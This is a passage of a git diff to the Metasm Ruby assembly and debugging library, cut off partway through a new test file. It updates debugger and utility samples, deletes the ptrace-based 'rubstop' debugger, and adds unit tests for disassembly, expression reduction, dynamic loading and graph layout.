-    @command['watch'] = lambda { |lex, int| @watch = ExprParser.parse(lex) ; updatedataptr }
-    @command['wd'] = lambda { |lex, int|
+    @command['u'] = lambda { |str| @codeptr = @rs.resolve(str) }
+    @command['ruby'] = lambda { |str| instance_eval str }
+    @command['wd'] = lambda { |str|
       @focus = :data
-      if tok = lex.readtok
-        lex.unreadtok tok
-        @win_data_height = int[] || return
+      if str.length > 0
+        @win_data_height = @rs.resolve(str)
         resize
       end
     }
-    @command['wc'] = lambda { |lex, int|
+    @command['wc'] = lambda { |str|
       @focus = :code
-      if tok = lex.readtok
-        lex.unreadtok tok
-        @win_code_height = int[] || return
+      if str.length > 0
+        @win_code_height = @rs.resolve(str)
         resize
       end
     }
-    @command['wp'] = lambda { |lex, int| @focus = :prompt }
-    @command['?'] = lambda { |lex, int|
-      val = int[]
+    @command['wp'] = lambda { |str| @focus = :prompt }
+    @command['?'] = lambda { |str|
+      val = @rs.resolve(str)
       log "#{val} 0x#{val.to_s(16)} #{[val].pack('L').inspect}"
     }
-    @command['.'] = lambda { |lex, int| @codeptr = nil }
+    @command['syscall'] = lambda { |str|
+      @rs.syscall_wait(str)
+    }
   end
 end
 
 
 if $0 == __FILE__
   require 'optparse'
-  filemap = nil
+  opts = { :sc_cpu => 'Ia32' }
   OptionParser.new { |opt|
-    opt.on('-m map', '--map filemap') { |f| filemap = f }
+    opt.on('-m map', '--map filemap') { |f| opts[:filemap] = f }
+    opt.on('--cpu cpu') { |c| opts[:sc_cpu] = c }
   }.parse!(ARGV)
 
-  if not defined? Rubstop
-    if ARGV.first =~ /:/
-      stub = 'gdbclient'
-    else
-      stub = 'rubstop'
-    end
-    require File.join(File.dirname(__FILE__), stub)
+  case ARGV.first
+  when /^(tcp:|udp:)?..+:/, /^ser:/
+    opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/
+    opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class)
+    rs = Metasm::GdbRemoteDebugger.new(ARGV.first, opts[:sc_cpu])
+  else
+    rs = Metasm::LinDebugger.new(ARGV.join(' '))
   end
-
-  rs = Rubstop.new(ARGV.join(' '))
-  rs.loadmap(filemap) if filemap
+  rs.load_map(opts[:filemap]) if opts[:filemap]
   LinDebug.new(rs).main_loop
 end
diff --git a/lib/metasm/samples/metasm-shell.rb b/lib/metasm/samples/metasm-shell.rb
index 698b7a3916..76a365f5e2 100644
--- a/lib/metasm/samples/metasm-shell.rb
+++ b/lib/metasm/samples/metasm-shell.rb
@@ -31,8 +31,7 @@ class String
 
   # encodes the current string as a Shellcode, returns the resulting EncodedData
   def encode_edata
-    s = Metasm::Shellcode.assemble @@cpu, self
-    s.encoded
+    Metasm::Shellcode.assemble(@@cpu, self).encode.encoded
   end
 
   # encodes the current string as a Shellcode, returns the resulting binary String
diff --git a/lib/metasm/samples/peldr.rb b/lib/metasm/samples/peldr.rb
index 1461b8d02b..e98220ffb1 100644
--- a/lib/metasm/samples/peldr.rb
+++ b/lib/metasm/samples/peldr.rb
@@ -148,7 +148,7 @@ class PeLdr
       end
     }
 
-    cp.numeric_constants.each { |k, v|
+    cp.numeric_constants.each { |k, v, f|
       n = k.upcase
       n = "C#{n}" if n !~ /^[A-Z]/
       DL.const_set(n, v) if not DL.const_defined?(n) and v.kind_of? Integer
@@ -178,7 +178,7 @@ class PeLdr
 
   def self.populate_peb
     DL.memory_write(@@peb, 0.chr*4096)
-    set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) }
+    #set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) }
   end
 
   def self.teb ; @@teb ; end
diff --git a/lib/metasm/samples/rubstop.rb b/lib/metasm/samples/rubstop.rb
deleted file mode 100644
index 751f758fa8..0000000000
--- a/lib/metasm/samples/rubstop.rb
+++ /dev/null
@@ -1,399 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-#
-# this exemple illustrates the use of the PTrace class to implement a pytstop-like functionnality
-# Works on linux/x86
-#
-
-require 'metasm'
-
-class Rubstop < Metasm::PTrace
-  EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'}
-  # define accessors for registers
-  %w[eax ebx ecx edx ebp esp edi esi eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds es fs gs].each { |reg|
-    define_method(reg) { peekusr(REGS_I386[reg.upcase]) & 0xffffffff }
-    define_method(reg+'=') { |v|
-      @regs_cache[reg] = v
-      v = [v & 0xffffffff].pack('L').unpack('l').first if v >= 0x8000_0000
-      pokeusr(REGS_I386[reg.upcase], v)
-    }
-  }
-
-  def cont(signal=0)
-    @ssdontstopbp = nil
-    singlestep(true) if @wantbp
-    super(signal)
-    ::Process.waitpid(@pid)
-    return if child.exited?
-    @oldregs.update @regs_cache
-    readregs
-    checkbp
-  end
-
-  def singlestep(justcheck=false)
-    super()
-    ::Process.waitpid(@pid)
-    return if child.exited?
-    case @wantbp
-    when ::Integer; bpx @wantbp ; @wantbp = nil
-    when ::String; self.dr7 |= 1 << (2*@wantbp[2, 1].to_i) ; @wantbp = nil
-    end
-    return if justcheck
-    @oldregs.update @regs_cache
-    readregs
-    checkbp
-  end
-
-  def stepover
-    i = curinstr.instruction if curinstr
-    if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep]))
-      eaddr = @regs_cache['eip'] + curinstr.bin_length
-      bpx eaddr, true
-      cont
-    else
-      singlestep
-    end
-  end
-
-  def stepout
-    # XXX @regs_cache..
-    stepover until curinstr.opcode.name == 'ret'
-    singlestep
-  end
-
-  def syscall
-    @ssdontstopbp = nil
-    singlestep(true) if @wantbp
-    super()
-    ::Process.waitpid(@pid)
-    return if child.exited?
-    @oldregs.update @regs_cache
-    readregs
-    checkbp
-  end
-
-  def state; :stopped end
-  def ptrace; self end
-
-  attr_accessor :pgm, :regs_cache, :breakpoints, :singleshot, :wantbp,
-    :symbols, :symbols_len, :filemap, :has_pax, :oldregs
-  def initialize(*a)
-    super(*a)
-    @pgm = Metasm::ExeFormat.new Metasm::Ia32.new
-    @pgm.encoded = Metasm::EncodedData.new Metasm::LinuxRemoteString.new(@pid)
-    @pgm.encoded.data.dbg = self
-    @regs_cache = {}
-    @oldregs = {}
-    readregs
-    @oldregs.update @regs_cache
-    @breakpoints = {}
-    @singleshot = {}
-    @wantbp = nil
-    @symbols = {}
-    @symbols_len = {}
-    @filemap = {}
-    @has_pax = false
-
-    stack = self[regs_cache['esp'], 0x1000].to_str.unpack('L*')
-    stack.shift	# argc
-    stack.shift until stack.empty? or stack.first == 0	# argv
-    stack.shift
-    stack.shift until stack.empty? or stack.first == 0	# envp
-    stack.shift
-    stack.shift until stack.empty? or stack.shift == 3	# find PHDR ptr in auxv
-    if phdr = stack.shift
-      phdr &= 0xffff_f000
-      loadsyms phdr, phdr.to_s(16)
-    end
-  end
-
-  def set_pax(bool)
-    if bool
-      @pgm.encoded.data.invalidate
-      code = @pgm.encoded.data[eip, 4]
-      if code != "\0\0\0\0" and @pgm.encoded.data[eip+0x6000_0000, 4] == code
-        @has_pax = 'segmexec'
-      else
-        @has_pax = 'pax'
-      end
-    else
-      @has_pax = false
-    end
-  end
-
-  def readregs
-    %w[eax ebx ecx edx esi edi esp ebp eip orig_eax eflags dr0 dr1 dr2 dr3 dr6 dr7 cs ds].each { |r| @regs_cache[r] = send(r) }
-    @curinstr = nil if @regs_cache['eip'] != @oldregs['eip']
-    @pgm.encoded.data.invalidate
-  end
-
-  def curinstr
-    @curinstr ||= mnemonic_di
-  end
-
-  def child
-    $?
-  end
-
-  def checkbp
-    ::Process::waitpid(@pid, ::Process::WNOHANG) if not child
-    return if not child
-    if not child.stopped?
-      if child.exited?;      log "process exited with status #{child.exitstatus}"
-      elsif child.signaled?; log "process exited due to signal #{child.termsig} (#{Signal.list.index child.termsig})"
-      else                log "process in unknown status #{child.inspect}"
-      end
-      return
-    elsif child.stopsig != ::Signal.list['TRAP']
-      log "process stopped due to signal #{child.stopsig} (#{Signal.list.index child.stopsig})"
-      return	# do not check 0xcc at eip-1 ! ( if curinstr.bin_length == 1 )
-    end
-    ccaddr = @regs_cache['eip']-1
-    if @breakpoints[ccaddr] and self[ccaddr] == 0xcc
-      if @ssdontstopbp != ccaddr
-        self[ccaddr] = @breakpoints.delete ccaddr
-        self.eip = ccaddr
-        @wantbp = ccaddr if not @singleshot.delete ccaddr
-        @ssdontstopbp = ccaddr
-      else
-        @ssdontstopbp = nil
-      end
-    elsif @regs_cache['dr6'] & 15 != 0
-      dr = (0..3).find { |dr_| @regs_cache['dr6'] & (1 << dr_) != 0 }
-      @wantbp = "dr#{dr}" if not @singleshot.delete @regs_cache['eip']
-      self.dr6 = 0
-      self.dr7 = @regs_cache['dr7'] & (0xffff_ffff ^ (3 << (2*dr)))
-      readregs
-    end
-  end
-
-  def bpx(addr, singleshot=false)
-    @singleshot[addr] = singleshot
-    return if @breakpoints[addr]
-    if @has_pax
-      set_hwbp 'x', addr
-    else
-      begin
-        @breakpoints[addr] = self[addr]
-        self[addr] = 0xcc
-      rescue Errno::EIO
-        log 'i/o error when setting breakpoint, switching to PaX mode'
-        set_pax true
-        @breakpoints.delete addr
-        bpx(addr, singleshot)
-      end
-    end
-  end
-
-  def mnemonic_di(addr = eip)
-    @pgm.encoded.ptr = addr
-    di = @pgm.cpu.decode_instruction(@pgm.encoded, addr)
-    @curinstr = di if addr == @regs_cache['eip']
-    di
-  end
-
-  def mnemonic(addr=eip)
-    mnemonic_di(addr).instruction
-  end
-
-  def regs_dump
-    [%w[eax ebx ecx edx orig_eax], %w[ebp esp edi esi eip]].map { |l|
-      l.map { |reg| "#{reg}=#{'%08x' % @regs_cache[reg]}" }.join(' ')
-    }.join("\n")
-  end
-
-  def findfilemap(s)
-    @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???'
-  end
-
-  def findsymbol(k)
-    file = findfilemap(k) + '!'
-    if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k }
-      file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}")
-    else
-      file + ('%08x' % k)
-    end
-  end
-
-  def set_hwbp(type, addr, len=1)
-    dr = (0..3).find { |dr_| @regs_cache['dr7'] & (1 << (2*dr_)) == 0 and @wantbp != "dr#{dr}" }
-    if not dr
-      log 'no debug reg available :('
-      return false
-    end
-    @regs_cache['dr7'] &= 0xffff_ffff ^ (0xf << (16+4*dr))
-    case type
-    when 'x'; addr += (@has_pax == 'segmexec' ? 0x6000_0000 : 0)
-    when 'r'; @regs_cache['dr7'] |= (((len-1)<<2)|3) << (16+4*dr)
-    when 'w'; @regs_cache['dr7'] |= (((len-1)<<2)|1) << (16+4*dr)
-    end
-    send("dr#{dr}=", addr)
-    self.dr6 = 0
-    self.dr7 = @regs_cache['dr7'] | (1 << (2*dr))
-    readregs
-    true
-  end
-
-  def clearbreaks
-    @wantbp = nil if @wantbp == @regs_cache['eip']
-    @breakpoints.each { |addr, oct| self[addr, 1] = oct }
-    @breakpoints.clear
-    if @regs_cache['dr7'] & 0xff != 0
-      self.dr7 = 0
-      readregs
-    end
-  end
-
-  def loadsyms(baseaddr, name)
-    @loadedsyms ||= {}
-    return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF"
-    @loadedsyms[name] = true
-
-    set_status " loading symbols from #{name}..."
-    e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000]
-    e.load_address = baseaddr
-    begin
-      e.decode
-      #e = Metasm::ELF.decode_file name rescue return 	# read from disk
-    rescue
-      log "failed to load symbols from #{name}: #$!"
-      ($!.backtrace - caller).each { |l| log l.chomp }
-      @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000]
-      return
-    end
-
-    if e.tag['SONAME']
-      name = e.tag['SONAME']
-      return if name and @loadedsyms[name]
-      @loadedsyms[name] = true
-    end
-
-    last_s = e.segments.reverse.find { |s| s.type == 'LOAD' }
-    vlen = last_s.vaddr + last_s.memsz
-    vlen -= baseaddr if e.header.type == 'EXEC'
-    @filemap[name] = [baseaddr, baseaddr + vlen]
-
-    oldsyms = @symbols.length
-    e.symbols.each { |s|
-      next if not s.name or s.shndx == 'UNDEF'
-      sname = s.name
-      sname = 'weak_'+sname if s.bind == 'WEAK'
-      sname = 'local_'+sname if s.bind == 'LOCAL'
-      v = s.value
-      v = baseaddr + v if v < baseaddr
-      @symbols[v] = sname
-      @symbols_len[v] = s.size
-    }
-    if e.header.type == 'EXEC'
-      @symbols[e.header.entry] = 'entrypoint'
-    end
-    set_status nil
-    log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}"
-  end
-
-  def loadallsyms
-    File.read("/proc/#{@pid}/maps").each { |l|
-      name = l.split[5]
-      loadsyms l.to_i(16), name if name and name[0] == ?/
-    }
-  end
-
-  def loadmap(mapfile)
-    # file fmt: addr type name eg 'c01001ba t setup_idt'
-    minaddr = maxaddr = nil
-    File.read(mapfile).each { |l|
-      addr, type, name = l.chomp.split
-      addr = addr.to_i(16)
-      minaddr = addr if not minaddr or minaddr > addr
-      maxaddr = addr if not maxaddr or maxaddr < addr
-      @symbols[addr] = name
-    }
-    if minaddr
-      @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1]
-    end
-  end
-
-  def scansyms
-    addr = 0
-    fd = @pgm.encoded.data.readfd
-    while addr <= 0xffff_f000
-      addr = 0xc000_0000 if @has_pax and addr == 0x6000_0000
-      log "scansym: #{'%08x' % addr}" if addr & 0x0fff_ffff == 0
-      fd.pos = addr
-      loadsyms(addr, '%08x'%addr) if (fd.read(4) == "\x7fELF" rescue false)
-      addr += 0x1000
-    end
-  end
-
-  def backtrace
-    s = findsymbol(@regs_cache['eip'])
-    if block_given?
-      yield s
-    else
-      bt = []
-      bt << s
-    end
-    fp = @regs_cache['ebp']
-    while fp >= @regs_cache['esp'] and fp <= @regs_cache['esp']+0x10000
-      s = findsymbol(self[fp+4, 4].unpack('L').first)
-      if block_given?
-        yield s
-      else
-        bt << s
-      end
-      fp = self[fp, 4].unpack('L').first
-    end
-    bt
-  end
-
-  def [](addr, len=nil)
-    @pgm.encoded.data[addr, len]
-  end
-  def []=(addr, len, str=nil)
-    @pgm.encoded.data[addr, len] = str
-  end
-
-  attr_accessor :logger
-  def log(s)
-    @logger ||= $stdout
-    @logger.puts s
-  end
-
-  # set a temporary status info (nil for default value)
-  def set_status(s)
-    @logger ||= $stdout
-    if @logger != $stdout
-      @logger.statusline = s
-    else
-      s ||= ' '*72
-      @logger.print s + "\r"
-      @logger.flush
-    end
-  end
-end
-
-if $0 == __FILE__
-  # start debugging
-  rs = Rubstop.new(ARGV.shift)
-
-  begin
-    while rs.child.stopped? and rs.child.stopsig == Signal.list['TRAP']
-      if $VERBOSE
-        puts "#{'%08x' % rs.eip} #{rs.mnemonic}"
-        rs.singlestep
-      else
-        rs.syscall ; rs.syscall	# wait return of syscall
-        puts "#{rs.orig_eax.to_s.ljust(3)} #{rs.syscallnr.index rs.orig_eax}"
-      end
-    end
-    p rs.child
-    puts rs.regs_dump
-  rescue Interrupt
-    rs.detach rescue nil
-    puts 'interrupted!'
-  rescue Errno::ESRCH
-  end
-end
diff --git a/lib/metasm/samples/struct_offset.rb b/lib/metasm/samples/struct_offset.rb
index f285a164df..cd6f13f2db 100644
--- a/lib/metasm/samples/struct_offset.rb
+++ b/lib/metasm/samples/struct_offset.rb
@@ -43,17 +43,5 @@ cp.parse_file(ARGV.shift)
 $stdout.reopen File.open(opts[:outfile], 'w') if opts[:outfile]
 
 ARGV.each { |structname|
-  st = cp.toplevel.struct[structname] || cp.toplevel.symbol[structname]
-  st = st.type while st.kind_of? Metasm::C::Pointer or st.kind_of? Metasm::C::TypeDef
-  if not st.kind_of? C::Struct
-    puts "// unknown #{structname}", ''
-    next
-  end
-  
-  puts "// #{structname}" if not st.name
-  puts "struct #{st.name} { // size = #{cp.sizeof(st).to_s(opts[:offbase])}"
-  st.members.each { |m|
-    puts "\t#{m.type.to_s[1..-2]} #{m.name if m.name}; // +#{st.offsetof(cp, m.name).to_s(opts[:offbase])}"
-  }
-  puts '};', ''
+  puts cp.alloc_c_struct(structname)
 }
diff --git a/lib/metasm/tests/all.rb b/lib/metasm/tests/all.rb
index 9241608854..9f8e8df710 100644
--- a/lib/metasm/tests/all.rb
+++ b/lib/metasm/tests/all.rb
@@ -4,5 +4,5 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-Dir['tests/*.rb'].each { |f| require f }
+Dir['tests/*.rb'].sort.each { |f| require f }
 
diff --git a/lib/metasm/tests/arc.rb b/lib/metasm/tests/arc.rb
new file mode 100644
index 0000000000..26cee93ddd
--- /dev/null
+++ b/lib/metasm/tests/arc.rb
@@ -0,0 +1,26 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'test/unit'
+require 'metasm'
+
+class TestArc < Test::Unit::TestCase
+  def test_arc_dec
+    hex_stream =  "\x0A\x23\x80\x0F\x80\x0\x60\x0D" # mov r3, 0x800D60
+    hex_stream += "\x40\x83"          # ld_s r2, [r3, 0]
+
+    dasm = Metasm::Shellcode.disassemble(Metasm::ARC.new, hex_stream)
+    assert_equal(2, dasm.decoded.length)
+
+    assert_equal('mov', dasm.decoded[0].instruction.opname)
+    assert_equal('r3', dasm.decoded[0].instruction.args[0].to_s)
+    assert_equal(0x800d60, dasm.decoded[0].instruction.args[1].reduce)
+
+    assert_equal('ld_s', dasm.decoded[8].instruction.opname)
+    assert_equal('r2', dasm.decoded[8].instruction.args[0].to_s)
+    assert_equal('r3', dasm.decoded[8].instruction.args[1].base.to_s)
+    assert_equal(0, dasm.decoded[8].instruction.args[1].disp.reduce)
+  end
+end
diff --git a/lib/metasm/tests/dynldr.rb b/lib/metasm/tests/dynldr.rb
index be7f29a434..21debb6d33 100644
--- a/lib/metasm/tests/dynldr.rb
+++ b/lib/metasm/tests/dynldr.rb
@@ -7,29 +7,47 @@ require 'test/unit'
 require 'metasm'
 
 class TestDynldr < Test::Unit::TestCase
+  def d; Metasm::DynLdr; end
 
-  def test_dynldr
+  def test_new_api_c
     str = "1234"
-    d = Metasm::DynLdr
     d.new_api_c('int memcpy(char*, char*, int)')
     d.memcpy(str, "9999", 2)
     assert_equal('9934', str)
+  end
 
+  def test_new_func_c
     c_src = <<EOS
-int sprintf(char*, char*, ...);
+int sprintf(char*, char*, ...);			// stdlib external
 void fufu(int i, char* ptr)
 {
-  sprintf(ptr, "lolzor %i\\n", i);
+  static int meh;				// .data
+  meh = i;
+  sprintf(ptr, "lolzor %i\\n", meh);	// string constant = .rodata
 }
 EOS
     buf = 'aaaaaaaaaaaaaaaaaa'
     d.new_func_c(c_src) { d.fufu(42, buf) }
     assert_equal("lolzor 42\n\000aaaaaaa", buf)
+  end
 
+  def test_new_func_asm
     if d.host_cpu.shortname == 'ia32'
       ret = d.new_func_asm('int __fastcall bla(int)', "lea eax, [ecx+1]\nret") { d.bla(42) }
       assert_equal(43, ret)
       assert_equal(false, d.respond_to?(:bla))
     end
   end
+
+  def test_callback
+    c1 = d.callback_alloc_c('int lol(int);') { |i| i+1 }
+    c2 = d.callback_alloc_c('int lol(int);') { |i| i+2 }
+    c3 = d.callback_alloc_c('int lol(int);') { |i| i/2 }
+
+    d.new_func_c "int blop(int i, int (*fp)(int)) { return fp(i); }"
+    
+    assert_equal(2, d.blop(1, c1))
+    assert_equal(4, d.blop(2, c2))
+    assert_equal(6, d.blop(13, c3))
+  end
 end
diff --git a/lib/metasm/tests/expression.rb b/lib/metasm/tests/expression.rb
new file mode 100644
index 0000000000..2ff4546c6a
--- /dev/null
+++ b/lib/metasm/tests/expression.rb
@@ -0,0 +1,55 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'test/unit'
+require 'metasm'
+
+class TestExpression < Test::Unit::TestCase
+  E = Metasm::Expression
+  def test_encode
+    assert_equal("\x04\0\0\0", E[4].encode(:u32, :little).data)
+  end
+
+  def test_numeric
+    assert_equal(5, E[4, :+, 1].reduce)
+  end
+
+  def test_reduce
+    assert_equal(0, E[:a, :-, :a].reduce)
+    assert_equal(0, E[:a, :^, :a].reduce)
+
+    assert_equal(E[:a, :^, 3], E[[1, :^, :a], :^, 2].reduce)
+    assert_equal(E[:a], E[[:b, :^, :a], :^, :b].reduce)
+
+    assert_equal(E[:a, :+, 2], E[:b, :+, [:a, :-, [4, :+, [:b, :-, 6]]]].reduce)
+    assert_equal(E[:a, :&, 0xff00], E[[[:a, :>>, 8], :&, 0xff], :<<, 8].reduce)
+
+    assert_equal(E[[:a, :>>, 1], :&, 0xff0], E[[[:a, :>>, 5], :&, 0xff], :<<, 4].reduce)
+
+    assert_equal(0, E[[:a, :&, 0xff00], :&, [:b, :&, 0xff]].reduce)
+    assert_equal(0, E[[:a, :&, 0xff], :>>, 8].reduce)
+
+    assert_equal(E[:a, :&, 0xffff], E[[:a, :&, 0x3333], :|, [[:a, :&, 0x8888], :+, [:a, :&, 0x4444]]].reduce)
+
+    assert_equal(E[:a, :&, 0xff], E[[:a, :|, [:b, :&, 0xff00]], :&, 0xff].reduce)
+
+    assert_equal(1, E[[2, :>, 1], :'||', [:a, :<=, :b]].reduce)
+    assert_equal(0, E[[:a, :>, :b], :'&&', [1, :>, 2]].reduce)
+
+    assert_equal(E[:a, :>, :b], E[[:'!', [:a, :<=, :b]], :==, 1].reduce)
+  end
+
+  def test_pattern
+    pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :|, 'b'], 'a', 'b')
+    assert_equal(false, pat)
+
+    pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :+, 'b'], 'a', 'b')
+    assert_equal(:a, pat['a'])
+    p2 = pat['b'].match(E[:a, :b, :c], :a, :b, :c)
+    assert_equal(0xffff, p2[:c])
+    assert_equal(:&, p2[:b])
+  end
+end
diff --git a/lib/metasm/tests/graph_layout.rb b/lib/metasm/tests/graph_layout.rb
new file mode 100644
index 0000000000..24eb7c129e
--- /dev/null
+++ b/lib/metasm/tests/graph_layout.rb
@@ -0,0 +1,285 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# special file to test the graph layout engine
+# call this file directly to run
+
+require 'metasm'
+include Metasm
+
+def test_layout(lo)
+  $cur ||= 0
+  $cur += 1
+  if $target.to_i != 0
+    return if $cur != $target
+  else
+    return if not lo.include? $target
+  end if $target
+  puts $cur, lo, '' if $VERBOSE
+  w = Gui::Window.new
+  ww = w.widget = Gui::GraphViewWidget.new(nil, nil)
+  ww.grab_focus
+  Gui.idle_add {
+    ww.load_dot(lo)
+    ww.curcontext.auto_arrange_boxes
+    ww.zoom_all
+    false
+  }
+  Gui.main
+end
+
+def test_all
+  test_layout <<EOS
+line -> 2 -> 3 -> 4 -> 5 -> 6 -> 7;
+EOS
+  test_layout <<EOS
+sep1 -> 1;
+sep2 -> 2;
+sep3 -> 3;
+sep4 -> 4;
+sep5 -> 5;
+EOS
+  test_layout <<EOS
+fork -> 2 -> 3;
+2 -> 4;
+EOS
+  test_layout <<EOS
+diamond -> 2 -> 3 -> 5;
+2 -> 4 -> 5;
+EOS
+  test_layout <<EOS
+ifthen -> 2 -> 3 -> 4;
+2 -> 4;
+EOS
+  test_layout <<EOS
+ufork -> 2 -> 3;
+1 -> 2;
+EOS
+  test_layout <<EOS
+multidiamond -> 2 -> 31 -> 32 -> 34 -> 5 -> 6 -> 8;
+2 -> 41 -> 42 -> 44 -> 5 -> 7 -> 8;
+41 -> 43 -> 44;
+31 -> 33 -> 34;
+EOS
+  test_layout <<EOS
+dmdout -> 2 -> 3a -> 4;
+2 -> 3b -> 4;
+3a -> 4a;
+3b -> 4b;
+EOS
+  test_layout <<EOS
+ifthenthen -> 2 -> 8;
+2 -> 3 -> 8;
+2 -> 4 -> 5 -> 8;
+2 -> 6 -> 7 -> 8;
+EOS
+  test_layout <<EOS
+multipod -> 2 -> 3;
+2 -> 4;
+2 -> 5;
+2 -> 6;
+2 -> 7;
+2 -> 8;
+EOS
+  test_layout <<EOS
+mplarge -> 1 -> 2;
+1 -> 3333333333333333333333333333333333;
+EOS
+  test_layout <<EOS
+multif -> 1
+1 -> a2 -> a3
+a2 -> a222222222 -> a3
+1 -> b2 -> b3
+b2 -> b222222222 -> b3
+EOS
+  test_layout <<EOS
+ifx -> 1 -> 2 -> 3 -> 4 -> 5
+4 -> eeeeeeeeeeee -> 5
+EOS
+  test_layout <<EOS
+llll -> 1 -> 22222222222222222222222222 -> e
+1 -> 33333333333333333333333333 -> e
+1 -> 4444444444444444444444 -> e
+1 -> 5 -> e
+5 -> 5t -> e
+1 -> 6 -> e
+6 -> 6t -> e
+1 -> 7 -> e
+7 -> 7t -> e
+EOS
+  test_layout <<EOS
+dangling -> 2 -> 11 -> 12 -> 13 -> 4;
+2 -> 21 -> 22 -> 23 -> 4;
+2 -> 31 -> 32 -> 33 -> 4;
+21 -> 2z;
+31 -> 3z;
+EOS
+  test_layout <<EOS
+dangin -> 2 -> 11 -> 12 -> 13;
+2 -> 21 -> 22 -> 13;
+2 -> 31 -> 32 -> 33;
+22 -> 33;
+21 -> z;
+EOS
+  test_layout <<EOS
+cascadeclean -> 2 -> 3 -> 4 -> 5 -> 6 -> 62 -> 52 -> 42 -> 32 -> 22 -> e;
+2 -> 21 -> 22;
+3 -> 31 -> 32;
+4 -> 41 -> 42;
+5 -> 51 -> 52;
+6 -> 61 -> 62;
+EOS
+  test_layout <<EOS
+cascade -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e;
+2 -> 21 -> e;
+3 -> 31 -> e;
+4 -> 41 -> e;
+5 -> 51 -> e;
+6 -> 61 -> e;
+EOS
+  test_layout <<EOS
+rstair -> 2 -> 3 -> 4 -> 5 -> 6;
+2 -> 4;
+2 -> 5;
+2 -> 6;
+EOS
+  test_layout <<EOS
+drstair -> 2a -> 3 -> 4 -> 5 -> 6;
+drstair -> 2b -> 4;
+2a -> 4;
+2a -> 5;
+2a -> 6;
+2b -> 4;
+2b -> 5;
+2b -> 6;
+EOS
+  test_layout <<EOS
+mrstair -> 2a -> 3a -> 4a -> 5a -> 6a;
+mrstair -> 2b -> 4a;
+2a -> 4a;
+2a -> 5a;
+2a -> 6a;
+2b -> 4a;
+2b -> 5a;
+2b -> 6a;
+2a -> 3b -> 4b -> 5b -> 6b;
+2a -> 4b;
+2a -> 5b;
+2a -> 6b;
+2b -> 3b;
+2b -> 4b;
+2b -> 5b;
+2b -> 6b;
+EOS
+  test_layout <<EOS
+loop -> 2 -> 3 -> 4;
+3 -> 2;
+EOS
+  test_layout <<EOS
+loopbreak -> 2 -> 3 -> e;
+2 -> 4 -> 5 -> 6 -> 8 -> e;
+5 -> 7 -> 4;
+EOS
+  test_layout <<EOS
+loopbreak2 -> 2 -> 3 -> e;
+2 -> 4 -> 5 -> 6 -> 8 -> e;
+5 -> 7 -> 4;
+7 -> 8;
+EOS
+  test_layout <<EOS
+unbalance -> 2 -> 3 -> 4 -> 5 -> e;
+2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e;
+EOS
+  test_layout <<EOS
+unbalance2 -> 2 -> 3 -> e;
+2 -> 4 -> e;
+2 -> 5 -> e;
+2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e;
+EOS
+  test_layout <<EOS
+unbalance3 -> 2 -> 3 -> e;
+2 -> 4 -> e;
+2 -> 5 -> e;
+2 -> 6 -> e;
+8 -> 9 -> e;
+2 -> 7 -> e;
+EOS
+  test_layout <<EOS
+disjoint -> 1 -> 2 -> 3 -> 4 -> 5 -> 6;
+l1 -> l2;
+l1 -> l3;
+l1 -> l4;
+l1 -> l5;
+l1 -> l6;
+EOS
+
+  test_layout <<EOS
+lol -> 2 -> 31 -> 41 -> 5;
+2 -> 32 -> 42 -> 5;
+31 -> 42;
+41 -> 32;
+EOS
+  test_layout <<EOS
+nestloop -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e;
+6 -> 4;
+7 -> 3;
+EOS
+  test_layout <<EOS
+escape -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8;
+2 -> 21;
+4 -> 6;
+EOS
+  test_layout <<EOS
+loophead -> 1 -> loophead;
+2 -> 3 -> 2;
+3 -> 4;
+1 -> 4;
+EOS
+  test_layout <<EOS
+1 -> e1;
+l00pz -> 1 -> l00pz;
+l2 -> 2 -> l2;
+2 -> e1;
+2 -> e2;
+l3 -> 3 -> l3;
+3 -> e2;
+EOS
+  test_layout <<EOS
+3loop -> 1 -> 3loop;
+1 -> 2 -> 3  -> 2;
+0 -> 00 -> 0 -> 2;
+EOS
+  test_layout <<EOS
+foo -> 0 -> 1
+0 -> 2 -> 3 -> 4 -> 5
+4 -> 6
+4 -> 7 -> 5
+4 -> 8 -> 6
+2 -> 1 -> 7
+3 -> 1 -> 8
+EOS
+  test_layout <<EOS
+dang -> 2 -> 3 -> 4 -> 5 -> 6 -> 4;
+2 -> 9;
+5 -> 9;
+EOS
+  test_layout <<EOS
+dang2 -> 2 -> 3 -> 4 -> 5 -> 6 -> 4
+2 -> 9
